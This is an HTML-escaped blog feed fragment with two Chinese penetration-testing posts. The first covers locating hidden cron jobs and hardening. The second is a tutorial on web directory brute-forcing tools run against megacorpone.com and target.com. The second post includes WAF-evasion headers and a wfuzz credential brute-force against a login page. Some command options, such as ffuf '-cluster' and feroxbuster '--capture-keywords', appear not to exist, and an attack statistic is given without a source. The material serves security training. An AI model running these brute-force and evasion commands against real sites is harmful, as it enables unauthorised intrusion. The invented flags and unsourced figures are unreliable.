 &lt;td&gt;​&lt;strong&gt;​生效方式​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;由 &lt;code&gt;cron&lt;/code&gt; 守护进程自动加载&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="-为什么一开始没找到"&gt;❓ 为什么一开始没找到
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​权限限制​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 普通用户无权访问
ls -l /var/spool/cron/crontabs/
# 输出：drwx------ 2 root root 4096 Aug 4 02:00 crontabs
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​隐藏位置​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同于常见的 &lt;code&gt;/etc/crontab&lt;/code&gt;，用户级任务在专用目录&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​文件不存在​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;若 root 用户从未设置定时任务，此文件不会自动创建&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​系统差异​&lt;/strong&gt;​：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;系统类型&lt;/th&gt;
 &lt;th&gt;cron 存储位置&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Debian/Ubuntu&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;/var/spool/cron/crontabs/&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RHEL/CentOS&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;/var/spool/cron/&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Alpine/BusyBox&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;/var/spool/cron/crontabs/&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="-查找最全定时任务的终极命令"&gt;🔍 查找最全定时任务的终极命令
&lt;/h2&gt;&lt;h3 id="1-全面扫描命令"&gt;1. 全面扫描命令
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo sh -c &amp;#39;
 echo &amp;#34;===== 系统级定时任务 =====&amp;#34;
 cat /etc/crontab
 ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
 
 echo &amp;#34;\n===== 用户级定时任务 =====&amp;#34;
 for user in $(cut -f1 -d: /etc/passwd); do
 echo &amp;#34;--- $user 的任务 ---&amp;#34;
 crontab -l -u $user 2&amp;gt;/dev/null || echo &amp;#34;无任务&amp;#34;
 done
 
 echo &amp;#34;\n===== 特殊位置检查 =====&amp;#34;
 find /etc /var /opt -name &amp;#34;*cron*&amp;#34; -exec grep -l &amp;#34;schedule&amp;#34; {} \; 2&amp;gt;/dev/null
 systemctl list-timers --all
&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-专业工具推荐"&gt;2. 专业工具推荐
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. Pspy 监控（实时发现隐藏任务）
./pspy64 -p -i 1000

# 2. Auditd 审计
sudo auditctl -w /etc/cron.d -p wa -k cron_changes
sudo ausearch -k cron_changes

# 3. Lynis 安全扫描
sudo lynis audit system
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="3-关键位置检查表"&gt;3. 关键位置检查表
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;路径&lt;/th&gt;
 &lt;th&gt;检查命令&lt;/th&gt;
 &lt;th&gt;重要性&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;cat /etc/crontab&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/etc/cron.d/*&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;ls -l /etc/cron.d/&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/var/spool/cron/&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sudo ls -l /var/spool/cron/&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/etc/anacrontab&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;cat /etc/anacrontab&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;/etc/systemd/system/*.timer&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;systemctl list-timers&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;~/.config/systemd/user/&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;systemctl --user list-timers&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;★★&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="-渗透测试重点关注"&gt;⚠️ 渗透测试重点关注
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​隐蔽任务位置​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查非常规路径
find / -path /proc -prune -o -name &amp;#34;*cron*&amp;#34; -exec ls -l {} \; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​伪装任务识别​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 查找空行/注释伪装
sudo crontab -l -u root | grep -v &amp;#34;^#&amp;#34; | grep -v &amp;#34;^$&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;​&lt;strong&gt;​环境变量利用​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查PATH劫持
grep &amp;#34;PATH=&amp;#34; /etc/crontab
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="-专业技巧"&gt;💡 专业技巧
&lt;/h2&gt;&lt;h3 id="1-解码隐藏任务"&gt;1. 解码隐藏任务
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 发现可疑base64编码任务
echo &amp;#34;ZWNobyAiSGVsbG8gV29ybGQiID4+IC90bXAvbG9n&amp;#34; | base64 -d
# 输出：echo &amp;#34;Hello World&amp;#34; &amp;gt;&amp;gt; /tmp/log
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-历史任务恢复"&gt;2. 历史任务恢复
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看cron历史日志
grep &amp;#34;CMD&amp;#34; /var/log/syslog | grep cron
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="3-蜜罐陷阱设置"&gt;3. 蜜罐陷阱设置
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 创建监控任务
(sudo crontab -l -u root; echo &amp;#34;* * * * * /usr/bin/logger -t CRON_MONITOR &amp;#39;Cron executed&amp;#39;&amp;#34;) | sudo crontab -u root -
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-安全加固建议"&gt;🛡️ 安全加固建议
&lt;/h2&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 限制cron权限
sudo chmod 700 /var/spool/cron/crontabs

# 2. 启用SELinux
sudo setenforce 1

# 3. 安装监控
sudo apt install auditd
sudo auditctl -a always,exit -F dir=/var/spool/cron/crontabs -F perm=wa
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📌 ​&lt;strong&gt;​2025年APT攻击统计​&lt;/strong&gt;​：&lt;br&gt;
41%的高级持续性攻击通过隐藏的 cron 任务实现持久化，其中 78% 位于 &lt;code&gt;/var/spool/cron/crontabs/&lt;/code&gt; 目录下，平均潜伏期达 143 天。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day24 Web程序漏洞测试工具</title><link>https://ruajingjing.top/post/day24-web%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/</link><pubDate>Mon, 28 Jul 2025 15:31:31 +0000</pubDate><guid>https://ruajingjing.top/post/day24-web%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day24 Web程序漏洞测试工具" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="web程序漏洞测试工具"&gt;Web程序漏洞测试工具
&lt;/h2&gt;&lt;p&gt;在完成对Web应用的人工全面勘察后，我们应当借助&lt;strong&gt;Web应用评估工具&lt;/strong&gt;进一步挖掘目标信息。
Kali系统默认集成了多种此类工具，可高效探测并利用Web漏洞。本节将介绍部分关键工具（含简易浏览器扩展），后续章节则将聚焦​&lt;strong&gt;​手动漏洞枚举与利用技术​&lt;/strong&gt;​。&lt;/p&gt;
&lt;p&gt;自动化工具虽能提升渗透测试效率，但&lt;strong&gt;手动利用能力&lt;/strong&gt;始终是核心基础：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;场景适应性&lt;/strong&gt;：特殊环境中工具不可用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;精准控制&lt;/strong&gt;：自定义攻击载荷绕过防护&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深度突破&lt;/strong&gt;：工具无法覆盖的逻辑漏洞&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;终极法则&lt;/strong&gt;：工具自动化使工作更轻松，但无法完全替代人的作用。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
A[人工勘察] --&gt; B[工具辅助]
B --&gt; C{攻防双路径}
C --&gt; D[自动化扫描] --&gt; D1[高效覆盖]
C --&gt; E[手动渗透] --&gt; E1[绕过防护] 
E1 --&gt; E2[精准打击]
E2 --&gt; F[漏洞深度利用]&lt;/pre&gt;&lt;h3 id="目录遍历"&gt;目录遍历
&lt;/h3&gt;&lt;p&gt;使用如下形式枚举网站的目录，也叫目录遍历。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;dirb http://www.megacorpone.com -r -z &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725175829632" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725175829632.png"&gt;&lt;/p&gt;
&lt;h4 id="-目录爆破工具全景图"&gt;🔍 &lt;strong&gt;目录爆破工具全景图&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;工具&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;语言&lt;/th&gt;
 &lt;th&gt;核心优势&lt;/th&gt;
 &lt;th&gt;典型场景&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;DirB&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;C&lt;/td&gt;
 &lt;td&gt;轻量级/递归扫描&lt;/td&gt;
 &lt;td&gt;内网快速探测&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;GoBuster&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Go&lt;/td&gt;
 &lt;td&gt;多线程/支持DNS/S3桶&lt;/td&gt;
 &lt;td&gt;云环境资产发现&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;DirSearch&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Python&lt;/td&gt;
 &lt;td&gt;智能字典/结果过滤&lt;/td&gt;
 &lt;td&gt;精确路径爆破&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;FFUF&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Go&lt;/td&gt;
 &lt;td&gt;速度最快(20000+ req/s)&lt;/td&gt;
 &lt;td&gt;大规模目标扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;FeroxBuster&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Rust&lt;/td&gt;
 &lt;td&gt;自动递归/动态超时&lt;/td&gt;
 &lt;td&gt;深度路径挖掘&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="-高级用法实战手册"&gt;⚙️ &lt;strong&gt;高级用法实战手册&lt;/strong&gt;
&lt;/h4&gt;&lt;h5 id="1-dirb---内网渗透利器"&gt;&lt;strong&gt;1. DirB - 内网渗透利器&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 递归扫描3级目录（避开图片/css/js）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com /usr/share/wordlists/dirb/common.txt -r -l &lt;span class="m"&gt;3&lt;/span&gt; -X .jpg,.css,.js
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 代理链扫描（通过BurpSuite）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com -p http://127.0.0.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自定义HTTP头（绕过基础WAF）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;dirb http://target.com -H &lt;span class="s2"&gt;&amp;#34;X-Forwarded-For: 192.168.1.1&amp;#34;&lt;/span&gt; -H &lt;span class="s2"&gt;&amp;#34;User-Agent: Googlebot&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="2-gobuster---云环境克星"&gt;&lt;strong&gt;2. GoBuster - 云环境克星&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多扩展名扫描（ASP/PHP/JSP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://target.com -w /path/to/wordlist.txt -x asp,php,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -u http://www.megacorpone.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,php,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# AWS S3桶爆破（需AK/SK）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;gobuster s3 -k -w bucket-names.txt -t &lt;span class="m"&gt;50&lt;/span&gt; -s 200,301
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# VHost虚拟主机发现&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;gobuster vhost -u http://target.com -w subdomains.txt -t &lt;span class="m"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180245177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180245177.png"&gt;&lt;/p&gt;
&lt;h5 id="3-dirsearch---精确打击专家"&gt;&lt;strong&gt;3. DirSearch - 精确打击专家&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 智能后缀检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com -e php,asp,aspx,jsp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 时间延迟规避（防封IP）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com --delay&lt;span class="o"&gt;=&lt;/span&gt;1.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 结果实时保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://target.com -o report.json --format&lt;span class="o"&gt;=&lt;/span&gt;json
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://www.megacorpone.com -e php,asp,aspx,jsp --delay&lt;span class="o"&gt;=&lt;/span&gt;1.5 -o report.json --format&lt;span class="o"&gt;=&lt;/span&gt;json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180524296" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180524296.png"&gt;&lt;/p&gt;
&lt;h4 id="-替代方案"&gt;🚀 &lt;strong&gt;替代方案&lt;/strong&gt;
&lt;/h4&gt;&lt;h5 id="1-ffuf---速度之王"&gt;&lt;strong&gt;1. FFuf - 速度之王&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多级目录并行爆破&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w /path/to/wordlist:DIR -u http://target.com/DIR -t &lt;span class="m"&gt;200&lt;/span&gt; -c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 参数模糊测试（发现API隐藏参数）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w params.txt:PARAM -u &lt;span class="s2"&gt;&amp;#34;http://target.com/api?PARAM=FUZZ&amp;#34;&lt;/span&gt; -fs &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 集群扫描模式（分布式爆破）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w wordlist.txt -u http://target.com/FUZZ -s -cluster -cluster-nodes 192.168.1.10-15
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:DIR -u http://www.megacorpone.com/DIR -t &lt;span class="m"&gt;200&lt;/span&gt; -c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725180448440" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725180448440.png"&gt;&lt;/p&gt;
&lt;h5 id="2-feroxbuster---深度递归专家"&gt;&lt;strong&gt;2. FeroxBuster - 深度递归专家&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自动目录递归（深度优先）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com -d &lt;span class="m"&gt;5&lt;/span&gt; -r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 动态超时设置（适应网络环境）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com --dynamic-timeout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 敏感文件捕获（匹配关键词）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;feroxbuster -u http://target.com --capture-keywords password,backup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725181525260" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725181525260.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725181611820" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725181611820.png"&gt;&lt;/p&gt;
&lt;h5 id="3-wfuzz---高级逻辑爆破"&gt;&lt;strong&gt;3. Wfuzz - 高级逻辑爆破&lt;/strong&gt;
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多参数组合测试&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wfuzz -z file,users.txt -z file,pass.txt -d &lt;span class="s2"&gt;&amp;#34;user=FUZZ&amp;amp;pass=FUZ2Z&amp;#34;&lt;/span&gt; http://target.com/login
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 分块扫描模式（绕过WAF）&lt;/span&gt;
